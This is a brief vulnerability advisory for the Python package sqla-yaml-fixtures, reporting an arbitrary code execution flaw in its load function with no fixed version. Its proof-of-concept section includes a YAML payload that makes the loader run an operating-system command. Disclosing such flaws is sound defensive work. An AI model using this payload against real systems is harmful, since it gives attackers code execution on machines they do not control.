sqla-yaml-fixtures@1.2.0 vulnerabilities

Load YAML data fixtures for SQLAlchemy

Direct Vulnerabilities

Known vulnerabilities in the sqla-yaml-fixtures package. This does not include vulnerabilities belonging to this package’s dependencies.

Fix vulnerabilities automatically

Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

Fix for free
VulnerabilityVulnerable Version
  • H
Arbitrary Code Execution

sqla-yaml-fixtures is a package that loads YAML data fixtures for SQLAlchemy.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the fixture_text argument in sqla_yaml_fixtures.load.

PoC

import sqla_yaml_fixtures
test_str ='!!python/object/apply:os.system ["dir"]'

sqla_yaml_fixtures.load('a','a',test_str)

How to fix Arbitrary Code Execution?

There is no fixed version for sqla-yaml-fixtures.

[0,)